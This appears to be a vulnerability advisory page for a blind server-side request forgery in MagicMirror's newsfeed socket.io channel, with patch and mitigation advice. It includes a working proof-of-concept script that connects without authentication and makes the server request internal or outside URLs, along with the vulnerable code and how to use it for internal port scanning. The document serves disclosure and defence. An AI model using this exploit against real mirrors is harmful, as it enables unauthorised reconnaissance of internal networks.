GHSA-998g-7v5w-cr7g — magicmirror
Fix: MagicMirrorOrg/MagicMirror#4169GHSA-998g-7v5w-cr7g is a Server-Side Request Forgery (SSRF) vulnerability in magicmirror. A fix is available for magicmirror — see the affected versions and patch details below.
MagicMirror newsfeed Socket.IO notification allows blind server-side request forgery
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-998g-7v5w-cr7g.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
magicmirrornpmDescription
Vulnerability — Blind SSRF via CHECK_ARTICLE_URL (MagicMirror² newsfeed)
Analysis of the PoC
exploit-ssrf-newsfeed.js. Target:newsfeed/node_helper.jsof MagicMirror², socket.io namespace/newsfeed.
Identification
| Field | Value |
|---|---|
| PoC file | exploit-ssrf-newsfeed.js |
| Endpoint | socket.io namespace /newsfeed, notification CHECK_ARTICLE_URL |
| Precondition | reach the mirror's HTTP port (no authentication required) |
Description
The checkArticleUrl() function in newsfeed/node_helper.js runs fetch(url, { method: "HEAD" }) with zero validation of the URL and returns ARTICLE_URL_STATUS { url, canFrame }.
This gives the attacker a boolean + timing oracle to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a "blind-ish" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target.
The actual proof is observed on the target side (the server-side HEAD shows up in the internal service's log), since the canFrame field alone leaks little.
Root cause: unauthenticated socket.io channel + permissive CORS
The socket.io server accepts connections from any origin and with no authentication:
const io = new Server(server, {
cors: { origin: /.*$/, credentials: true }
});
The /newsfeed namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.
Exploit (exploit-ssrf-newsfeed.js)
const { io } = require("socket.io-client");
const TARGET = process.env.MM || "https://target/";
const URL_TO_HIT = process.env.SSRF_URL || "https://webhook.site";
const socket = io(`${TARGET}/newsfeed`, { path: "/socket.io", transports: ["websocket", "polling"] });
socket.onAny((event, payload) => {
if (event === "ARTICLE_URL_STATUS") {
console.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`);
console.log("[!!!] Server performed a server-side HEAD request to the internal host (SSRF).");
process.exit(0);
}
});
socket.on("connect", () => {
console.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -> ${URL_TO_HIT}`);
socket.emit("CHECK_ARTICLE_URL", { url: URL_TO_HIT });
});
setTimeout(() => { console.log("[*] timeout"); process.exit(1); }, 12000);
Vulnerable target code (pattern)
async checkArticleUrl(url) {
const res = await fetch(url, { method: "HEAD" });
const canFrame = !res.headers.get("x-frame-options")
&& !/frame-ancestors/i.test(res.headers.get("content-security-policy") || "");
this.sendSocketNotification("ARTICLE_URL_STATUS", { url, canFrame });
}
Impact
- Internal network scanning / port scanning: presence, absence, and response time reveal which internal hosts and ports are alive.
- Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the
mm-internallog referenced by the PoC). - Although it's HEAD (no body), it serves as a reconnaissance primitive and a trigger for side effects on endpoints that react to GET/HEAD.
References
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-306: Missing Authentication for Critical Function
- CWE-942: Permissive Cross-domain Policy with Untrusted Domains
- OWASP: SSRF Prevention Cheat Sheet
This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | magicmirror | all versions | 2.37.0npm install magicmirror@2.37.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for magicmirror, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update magicmirror to 2.37.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-998g-7v5w-cr7g is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Frequently Asked Questions
Is GHSA-998g-7v5w-cr7g in your dependencies?
Find it across npm, including transitive dependencies.